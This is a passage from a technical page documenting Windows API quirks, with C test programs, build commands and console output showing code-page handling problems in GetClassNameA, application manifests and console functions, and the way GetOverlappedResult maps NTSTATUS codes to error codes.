If the function succeeds, the return value is the number of characters copied to the buffer, not including the terminating null character.
If the function fails, the return value is zero. To get extended error information, call GetLastError.
Copies the text of the specified window's title bar (if it has one) into a buffer. […][…]int GetWindowTextA( HWND hWnd, LPSTR lpString, int nMaxCount );
hWnd
A handle to the window or control containing the text.
lpString
The buffer that will receive the text. If the string is as long or longer than the buffer, the string is truncated and terminated with a null character.
nMaxCount
The maximum number of characters to copy to the buffer, including the null character. If the text exceeds this limit, it is truncated.
[…]
If the function succeeds, the return value is the length, in characters, of the copied string, not including the terminating null character. If the window has no title bar or text, if the title bar is empty, or if the window or control handle is invalid, the return value is zero. To get extended error information, call GetLastError.
Retrieves the length, in characters, of the specified window's title bar text (if the window has a title bar). […][…]int GetWindowTextLengthA( HWND hWnd );
hWnd
A handle to the window or control.
[…]
If the function succeeds, the return value is the length, in characters, of the text. […]
If the window has no text, the return value is zero.
Retrieves a string that specifies the window type.[…]UINT RealGetWindowClassW( HWND hwnd, LPWSTR ptszClassName, UINT cchClassNameMax );
hwnd
A handle to the window whose type will be retrieved.
ptszClassName
A pointer to a string that receives the window type.
cchClassNameMax
The length, in characters, of the buffer pointed to by the pszType parameter.
[…]
If the function succeeds, the return value is the number of characters copied to the specified buffer.
If the function fails, the return value is zero. To get extended error information, call GetLastError.
GetClassNameA()
function with code page 65001 alias CP_UTF8
.
Create the text file quirk41.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define CLASS L"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ"
#define TITLE L"€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›"
LRESULT WINAPI WindowProc(HWND hWindow, UINT uMessage, WPARAM wParam, LPARAM lParam)
{
if (uMessage == WM_DESTROY)
PostQuitMessage(0);
return DefWindowProcA(hWindow, uMessage, wParam, lParam);
}
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WNDCLASSEXA wce = {sizeof(wce),
CS_DBLCLKS,
WindowProc,
0, 0,
(HINSTANCE) &__ImageBase,
(HICON) NULL,
(HCURSOR) NULL,
(HBRUSH) COLOR_BACKGROUND,
(LPCSTR) NULL,
(LPCSTR) NULL,
(HICON) NULL};
ATOM atom;
MSG msg;
HWND hWindow;
DWORD dwError;
UINT uiClass;
CHAR szClass[256 * 3];
UINT uiTitle;
CHAR szTitle[256 * 3];
UINT uiQuirk;
CHAR szQuirk[256 * 3];
BOOL bResult;
LRESULT lResult;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
uiClass = WideCharToMultiByte(CP_ACP,
WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
CLASS, sizeof(CLASS) / sizeof(*CLASS),
szClass, sizeof(szClass),
(LPCCH) NULL, (LPBOOL) NULL);
if (uiClass == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu for class name \'%ls\' of %lu wide characters\n",
dwError = GetLastError(), CLASS, wcslen(CLASS));
else
{
uiTitle = WideCharToMultiByte(CP_ACP,
WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
TITLE, sizeof(TITLE) / sizeof(*TITLE),
szTitle, sizeof(szTitle),
(LPCCH) NULL, (LPBOOL) NULL);
if (uiTitle == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu for window title \'%ls\' of %lu wide characters\n",
dwError = GetLastError(), TITLE, wcslen(TITLE));
else
{
wce.lpszClassName = szClass;
atom = RegisterClassExA(&wce);
if (atom == 0)
PrintConsole(hConsole,
L"RegisterClassExA() returned error %lu\n",
dwError = GetLastError());
else
{
hWindow = CreateWindowExA(WS_EX_APPWINDOW,
szClass,
szTitle,
WS_OVERLAPPEDWINDOW | WS_VISIBLE,
CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
(HWND) NULL,
(HMENU) NULL,
(HINSTANCE) &__ImageBase,
NULL);
if (hWindow == NULL)
PrintConsole(hConsole,
L"CreateWindowExA() returned error %lu\n",
dwError = GetLastError());
else
{
uiQuirk = GetWindowTextLengthA(hWindow);
if (uiQuirk == 0)
PrintConsole(hConsole,
L"GetWindowTextLengthA() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowTextLengthA() returned %u\n",
uiQuirk);
uiQuirk = GetWindowTextA(hWindow, szQuirk, sizeof(szQuirk));
if (uiQuirk == 0)
PrintConsole(hConsole,
L"GetWindowTextA() returned error %lu\n",
dwError = GetLastError());
else
if (memcmp(szQuirk, szTitle, uiTitle) != 0)
PrintConsole(hConsole,
L"GetWindowTextA() returned DIFFERENT window title \'%hs\' of %u characters\n",
szQuirk, uiQuirk);
uiQuirk = GetClassNameA(hWindow, szQuirk, sizeof(szQuirk));
if (uiQuirk == 0)
PrintConsole(hConsole,
L"GetClassNameA() returned error %lu\n",
dwError = GetLastError());
else
if (memcmp(szQuirk, szClass, uiClass) != 0)
PrintConsole(hConsole,
L"GetClassNameA() returned DIFFERENT class name \'%hs\' of %u characters\n",
szQuirk, uiQuirk);
uiQuirk = RealGetWindowClassA(hWindow, szQuirk, sizeof(szQuirk));
if (uiQuirk == 0)
PrintConsole(hConsole,
L"RealGetWindowClassA() returned error %lu\n",
dwError = GetLastError());
else
if (memcmp(szQuirk, szClass, uiClass) != 0)
PrintConsole(hConsole,
L"RealGetWindowClassA() returned DIFFERENT class name \'%hs\' of %u characters\n",
szQuirk, uiQuirk);
while ((bResult = GetMessageA(&msg, (HWND) NULL, 0, 0)) > 0)
{
if (TranslateMessage(&msg))
;
lResult = DispatchMessageA(&msg);
}
dwError = bResult < 0 ? GetLastError() : msg.wParam;
}
if (!UnregisterClassA(szClass, (HINSTANCE) &__ImageBase))
PrintConsole(hConsole,
L"UnregisterClassA() returned error %lu\n",
dwError = GetLastError());
}
}
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Note: the character strings CLASS
and
TITLE
contain 123 respectively
15 × 17 = 255 (wide) characters,
equivalent to 123 and 255
ANSI
characters in 123 and 255 bytes or 123 and 255
Unicode
code points in
123 × 2 + 17 = 263 and
255 × 3 = 765
UTF-8
code units alias bytes.
Build the console application quirk41.exe
from the
source file quirk41.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk41.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk41.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk41.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk41.exe quirk41.obj kernel32.lib user32.lib
Execute the console application quirk41.exe
built in
step 2. to show the behaviour with the legacy
code page,
then close its window:
VER .\quirk41.exe
Microsoft Windows [Version 10.0.22621.1105] GetWindowTextLengthA() returned 255
Create the text file quirk41.xml
with the following
content next to the console application quirk41.exe
built in step 2.:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
<assemblyIdentity name='Quirk41' processorArchitecture='*' type='win32' version='0.8.1.5' />
<application xmlns='urn:schemas-microsoft-com:asm.v3'>
<windowsSettings>
<activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
</windowsSettings>
</application>
<compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
<application>
<supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
</application>
</compatibility>
<description>Quirk41 Console Application</description>
</assembly>
Note: the double use of an
XML element
named application
is (at least) clumsy and error-prone!
Embed the
Application Manifest
quirk41.xml
created in step 4. in the console
application quirk41.exe
built in step 2.:
MT.EXE /CANONICALIZE /MANIFEST quirk41.xml /OUTPUTRESOURCE:quirk41.exeNote: the Manifest Tool
MT.exe
is shipped with the Windows Software Development Kit.
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
Execute the console application quirk41.exe
configured
in step 5. for the code page 65001 alias CP_UTF
to
demonstrate the (mis)behaviour
bug, then close its window:
VER .\quirk41.exe
Microsoft Windows [Version 10.0.22621.1105]
GetWindowTextLengthA() returned 765
GetClassNameA() returned DIFFERENT class name '€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö' of 245 characters
OUCH: the Win32 function
GetClassNameA()
returns a truncated character string of only 114
code points in 245 code units instead of 123 code points in 263
code units!
application manifestWindows exhibits braindead (mis)behaviour!
Create the text file quirk42.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwError = ERROR_SUCCESS;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
PrintConsole(hConsole,
L"GetACP() returned %u\n"
L"GetConsoleCP() returned %u\n"
L"GetConsoleOutputCP() returned %u\n"
L"GetOEMCP() returned %u\n",
GetACP(), GetConsoleCP(), GetConsoleOutputCP(), GetOEMCP());
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk42.exe
from the
source file quirk42.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk42.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk42.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk42.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk42.exe quirk42.obj kernel32.lib user32.lib
Create an empty external
application manifest
quirk42.exe.manifest
next
to the console application quirk42.exe
built in
step 2. and execute quirk42.exe
a first time:
COPY NUL: quirk42.exe.manifest .\quirk42.exe
1 file(s) copied. The system cannot execute the specified program.Note: the empty external
application manifest
quirk42.exe.manifest
shows
the expected and intended effect – it lets the console
application quirk42.exe
fail to load!
Remove the empty external application manifest
quirk42.exe.manifest
and execute the console
application quirk42.exe
a second time:
ERASE quirk42.exe.manifest .\quirk42.exe
GetACP() returned 1252 GetConsoleCP() returned 858 GetConsoleOutputCP() returned 858 GetOEMCP() returned 850OOPS: without (external)
application manifest, the console application
quirk42.exe
uses the legacyCode Page 858 alias
OEM Multilingual Latin 1 + Euro Symbol, which encodes
€
as code point
0xD5 = 213, not the system’s global
OEM
code page 850 alias Multilingual (Latin I)or
OEM Multilingual Latin 1; Western European (DOS), which encodes
ı
as code point
0xD5 = 213!
Create the external application manifest
quirk42.exe.manifest
with the following content:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
<assemblyIdentity name='Quirk42' processorArchitecture='*' type='win32' version='0.8.1.5' />
<application xmlns='urn:schemas-microsoft-com:asm.v3'>
<windowsSettings>
<activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
</windowsSettings>
</application>
<compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
<application>
<supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
</application>
</compatibility>
<description>Quirk42 Console Application</description>
</assembly>
Execute the console application quirk42.exe
a third
time:
.\quirk42.exe
GetACP() returned 1252 GetConsoleCP() returned 858 GetConsoleOutputCP() returned 858 GetOEMCP() returned 850OUCH¹: the external
application manifest
quirk42.exe.manifest
shows
no effect, it is but ignored!
Rename the console application quirk42.exe
and its
external application manifest
quirk42.exe.manifest
to quirk42.com
and
quirk42.com.manifest
respectively, then execute the
console application quirk42.com
a fourth time:
RENAME quirk42.exe quirk42.com RENAME quirk42.exe.manifest quirk42.com.manifest .\quirk42.com
GetACP() returned 65001 GetConsoleCP() returned 65001 GetConsoleOutputCP() returned 65001 GetOEMCP() returned 65001Note: the external
application manifest
quirk42.com.manifest
shows the expected and intended
effect now – the console application quirk42.com
uses the code page 65001 alias CP_UTF8
!
Overwrite the external application manifest
quirk42.com.manifest
with an empty file and execute the
console application quirk42.com
a fifth time:
COPY /Y NUL: quirk42.com.manifest .\quirk42.com
1 file(s) copied. GetACP() returned 65001 GetConsoleCP() returned 65001 GetConsoleOutputCP() returned 65001 GetOEMCP() returned 65001OUCH²: the (empty) external
application manifestshows no effect any more, it is but ignored!
Remove the empty external application manifest
quirk42.com.manifest
and execute the
application quirk42.com
a last time:
ERASE quirk42.com.manifest .\quirk42.com
GetACP() returned 65001 GetConsoleCP() returned 65001 GetConsoleOutputCP() returned 65001 GetOEMCP() returned 65001OUCH³: the absence of an external
application manifesttoo shows no effect!
AreFileApisANSI()
,
GetACP()
,
GetOEMCP()
,
SetFileApisToANSI()
and
SetFileApisToOEM()
are documented in the
MSDN as
follows:
Determines whether the file I/O functions are using the ANSI or OEM character set code page. This function is useful for 8-bit console input and output operations.[…]
The file I/O functions whose code page is ascertained by AreFileApisANSI are those functions exported by KERNEL32.DLL that accept or return a file name.
Retrieves the current Windows ANSI code page identifier for the operating system.
Returns the current original equipment manufacturer (OEM) code page identifier for the operating system.
Causes the file I/O functions to use the ANSI character set code page for the current process. This function is useful for 8-bit console input and output operations.Ouch¹: the highlighted statement is but wrong![…]
The file I/O functions whose code page is set by SetFileApisToANSI are those functions exported by KERNEL32.DLL that accept or return a file name.
[…]
The 8-bit console functions use the OEM code code page by default. All other functions use the ANSI code page by default. This means that strings returned by the console functions may not be processed correctly by other functions, and vice versa.
Causes the file I/O functions for the process to use the OEM character set code page. This function is useful for 8-bit console input and output operations.Ouch²: the highlighted statement is but wrong![…]
The file I/O functions whose code page is set by SetFileApisToOEM are those functions exported by KERNEL32.DLL that accept or return a file name.
[…]
The 8-bit console functions use the OEM code code page by default. All other functions use the ANSI code page by default. This means that strings returned by the console functions may not be processed correctly by other functions, and vice versa.
The MSDN article Console Application Issues states:
The 8-bit console functions use the OEM code page.OUCH³: despite its third repetition the first highlighted statement is but still wrong – contrary to the[…]
The console will accept UTF-16 encoding on the W variant of the APIs or UTF-8 encoding on the A variant of the APIs after using SetConsoleCP and SetConsoleOutputCP to
65001
(CP_UTF8
constant) for the UTF-8 code page.Barring that solution, a console application should use the SetFileApisToOEM function. That function changes relevant file functions so that they produce OEM character set strings rather than ANSI character set strings.
relevant file functionswhich use the operating system’s (static) OEM code page when switched via the
SetFileApisToOEM()
function, the 8-bit console input functions use an arbitrary code
page which can be queried by the
GetConsoleCP()
function and set by the
SetConsoleCP()
function, whereas the 8-bit console output functions use another
arbitrary code page which can be queried by the
GetConsoleOutputCP()
function and set by the
SetConsoleOutputCP()
function!
Note: the console commands
Chcp
and
Mode
query the console input code page, but always set both the console
input and output code pages.
OUCH⁴: contrary to the last highlighted
statement, a console application which uses 8-bit console input and
output functions together with 8-bit file input and
output functions needs to call the
AreFileApisANSI()
function, then depending on its result the
SetConsoleCP()
and
SetConsoleOutputCP()
functions with the
Code Page Identifier
returned from either the
GetACP()
or the
GetOEMCP()
function!
Note: that the
Code Page Identifier
returned from the
GetOEMCP()
function can differ from those returned from the
GetConsoleCP()
and
GetConsoleOutputCP()
functions has already been shown in the previous section
Quirk № 42!
Create the
ANSI
text file
quirk43.txt
containing the extended characters of
Code Page 1252
in an arbitrary, preferable empty directory:
€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
Note: with the trailing
CR/LF
pair the file quirk43.txt
contains 125 single-byte
characters.
Display the file quirk43.txt
using the internal
Type
command:
TYPE quirk43.txt
ÇéâäàåçêëèïîÄæÆôöòûùÿÖÜø£×ƒáíóúñѪº¿®¬½¼¡«»░▒▓│┤ÁÂÀ©╣║╗╝¢¥┐└┴┬├─┼ãÃ╚╔╩╦╠═╬¤ðÐÊËÈ€ÍÎÏ┘┌█▄¦Ì▀ÓßÔÒõÕµþÞÚÛÙýݯ´±‗¾¶§÷¸°¨·¹³²■Oops: the file’s content is rendered like
mojibake
!
Set the console’s (input and output) code page to 1252 and repeat the previous step 2:
CHCP.COM 1252 TYPE quirk43.txt
Active code page: 1252. €‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
GetOverlappedResult()
and the
OVERLAPPED
structure are documented in the
MSDN as
follows:
Retrieves the results of an overlapped operation on the specified file, named pipe, or communications device. […][…]BOOL GetOverlappedResult( HANDLE hFile, LPOVERLAPPED lpOverlapped, LPDWORD lpNumberOfBytesTransferred, BOOL bWait )
hFile
A handle to the file, named pipe, or communications device. […]
If the function succeeds, the return value is nonzero.
If the function fails, the return value is zero. To get extended error information, call GetLastError.
MembersNote: status code means NTSTATUS code. NTSTATUS values
Internal
The status code for the I/O request. When the request is issued, the system sets this member to STATUS_PENDING to indicate that the operation has not yet started. When the request is completed, the system sets this member to the status code for the completed request.
InternalHigh
The number of bytes transferred for the I/O request. The system sets this member if the request is completed without errors.
[…]
hEvent
A handle to the event that will be set to a signaled state by the system when the operation has completed. The user must initialize this member either to zero or a valid event handle using the CreateEvent function before passing this structure to any overlapped functions. This event can then be used to synchronize simultaneous I/O requests for a device. […]
Create the text file quirk46.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define STATUS_SUCCESS 0x00000000
#define STATUS_WAIT_1 0x00000001
#define STATUS_WAIT_2 0x00000002
#define STATUS_WAIT_3 0x00000003
#define STATUS_WAIT_63 0x0000003F
#define STATUS_ABANDONED_WAIT_63 0x000000BF
#define STATUS_ALREADY_COMPLETE 0x000000FF
#define STATUS_OBJECT_NAME_EXISTS 0x40000000
#define STATUS_THREAD_WAS_SUSPENDED 0x40000001
#define STATUS_ALREADY_WIN32 0x4000001B
#define STATUS_BUFFER_OVERFLOW 0x80000005
#define STATUS_NO_MORE_FILES 0x80000006
#define STATUS_UNSUCCESSFUL 0xC0000001
#define STATUS_NOT_IMPLEMENTED 0xC0000002
#define STATUS_INVALID_INFO_CLASS 0xC0000003
#define STATUS_UNHANDLED_EXCEPTION 0xC0000144
#define STATUS_SYSTEM_PROCESS_TERMINATED 0xC000021A
#define STATUS_MULTIPLE_FAULT_VIOLATION 0xC00002E8
const LONG ntStatus[] = {STATUS_WAIT_0,
STATUS_WAIT_1,
STATUS_WAIT_2,
STATUS_WAIT_3,
STATUS_WAIT_63,
STATUS_ABANDONED_WAIT_0,
STATUS_ABANDONED_WAIT_63,
STATUS_USER_APC,
STATUS_ALREADY_COMPLETE,
STATUS_TIMEOUT,
STATUS_PENDING,
DBG_EXCEPTION_HANDLED,
DBG_CONTINUE,
STATUS_OBJECT_NAME_EXISTS,
STATUS_THREAD_WAS_SUSPENDED,
STATUS_SEGMENT_NOTIFICATION,
STATUS_ALREADY_WIN32,
0x80000000,
STATUS_GUARD_PAGE_VIOLATION,
STATUS_DATATYPE_MISALIGNMENT,
STATUS_BREAKPOINT,
STATUS_SINGLE_STEP,
STATUS_BUFFER_OVERFLOW,
STATUS_NO_MORE_FILES,
DBG_EXCEPTION_NOT_HANDLED,
0xC0000000,
STATUS_UNSUCCESSFUL,
STATUS_NOT_IMPLEMENTED,
STATUS_INVALID_INFO_CLASS,
STATUS_ACCESS_VIOLATION,
STATUS_IN_PAGE_ERROR,
STATUS_INVALID_HANDLE,
STATUS_INVALID_PARAMETER,
STATUS_DLL_NOT_FOUND,
STATUS_ORDINAL_NOT_FOUND,
STATUS_ENTRYPOINT_NOT_FOUND,
STATUS_CONTROL_C_EXIT,
STATUS_DLL_INIT_FAILED,
STATUS_UNHANDLED_EXCEPTION,
STATUS_SYSTEM_PROCESS_TERMINATED,
STATUS_MULTIPLE_FAULT_VIOLATION,
STATUS_STACK_BUFFER_OVERRUN,
STATUS_INVALID_CRUNTIME_PARAMETER,
STATUS_ASSERTION_FAILURE,
STATUS_SXS_EARLY_DEACTIVATION,
STATUS_SXS_INVALID_DEACTIVATION};
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
OVERLAPPED overlapped = {STATUS_PENDING /*, 0, {0, 0}, (HANDLE) NULL */};
DWORD dwBytes;
DWORD dwError = ERROR_SUCCESS;
DWORD dwIndex = 0;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
// overlapped.Internal = STATUS_PENDING;
#ifndef QUIRKS
if (!GetOverlappedResult((HANDLE) NULL, &overlapped, &dwBytes, TRUE))
#elif QUIRKS == 1
if (!GetOverlappedResult(INVALID_HANDLE_VALUE, &overlapped, &dwBytes, TRUE))
#elif QUIRKS == 2
overlapped.hEvent = INVALID_HANDLE_VALUE;
if (!GetOverlappedResult((HANDLE) NULL, &overlapped, &dwBytes, TRUE))
#elif QUIRKS == 3
overlapped.hEvent = INVALID_HANDLE_VALUE;
if (!GetOverlappedResult(INVALID_HANDLE_VALUE, &overlapped, &dwBytes, TRUE))
#endif // QUIRKS
PrintConsole(hConsole,
L"GetOverlappedResult() returned error %lu\n",
dwError = GetLastError());
do
{
overlapped.Internal = ntStatus[dwIndex];
if (!GetOverlappedResult(INVALID_HANDLE_VALUE, &overlapped, &dwBytes, FALSE))
PrintConsole(hConsole,
L"GetOverlappedResult() returned error %lu for NTSTATUS 0x%08lX\n",
GetLastError(), overlapped.Internal);
else
PrintConsole(hConsole,
L"GetOverlappedResult() succeeded for NTSTATUS 0x%08lX\n",
overlapped.Internal);
}
while (++dwIndex < sizeof(ntStatus) / sizeof(*ntStatus));
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk46.exe
from the
source file quirk46.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk46.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk46.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk46.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk46.exe quirk46.obj kernel32.lib user32.lib
Execute the console application quirk46.exe
built in
step 2. to demonstrate the (mis)behaviour:
.\quirk46.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
GetOverlappedResult() returned error 6 GetOverlappedResult() succeeded for NTSTATUS 0x00000000 GetOverlappedResult() succeeded for NTSTATUS 0x00000001 GetOverlappedResult() succeeded for NTSTATUS 0x00000002 GetOverlappedResult() succeeded for NTSTATUS 0x00000003 GetOverlappedResult() succeeded for NTSTATUS 0x0000003F GetOverlappedResult() succeeded for NTSTATUS 0x00000080 GetOverlappedResult() succeeded for NTSTATUS 0x000000BF GetOverlappedResult() succeeded for NTSTATUS 0x000000C0 GetOverlappedResult() succeeded for NTSTATUS 0x000000FF GetOverlappedResult() succeeded for NTSTATUS 0x00000102 GetOverlappedResult() returned error 996 for NTSTATUS 0x00000103 GetOverlappedResult() succeeded for NTSTATUS 0x00010001 GetOverlappedResult() succeeded for NTSTATUS 0x00010002 GetOverlappedResult() succeeded for NTSTATUS 0x40000000 GetOverlappedResult() succeeded for NTSTATUS 0x40000001 GetOverlappedResult() succeeded for NTSTATUS 0x40000005 GetOverlappedResult() succeeded for NTSTATUS 0x4000001B GetOverlappedResult() returned error 317 for NTSTATUS 0x80000000 GetOverlappedResult() returned error 2147483649 for NTSTATUS 0x80000001 GetOverlappedResult() returned error 998 for NTSTATUS 0x80000002 GetOverlappedResult() returned error 2147483651 for NTSTATUS 0x80000003 GetOverlappedResult() returned error 2147483652 for NTSTATUS 0x80000004 GetOverlappedResult() returned error 234 for NTSTATUS 0x80000005 GetOverlappedResult() returned error 18 for NTSTATUS 0x80000006 GetOverlappedResult() returned error 688 for NTSTATUS 0x80010001 GetOverlappedResult() returned error 317 for NTSTATUS 0xC0000000 GetOverlappedResult() returned error 31 for NTSTATUS 0xC0000001 GetOverlappedResult() returned error 1 for NTSTATUS 0xC0000002 GetOverlappedResult() returned error 87 for NTSTATUS 0xC0000003 GetOverlappedResult() returned error 998 for NTSTATUS 0xC0000005 GetOverlappedResult() returned error 999 for NTSTATUS 0xC0000006 GetOverlappedResult() returned error 6 for NTSTATUS 0xC0000008 GetOverlappedResult() returned error 87 for NTSTATUS 0xC000000D GetOverlappedResult() returned error 126 for 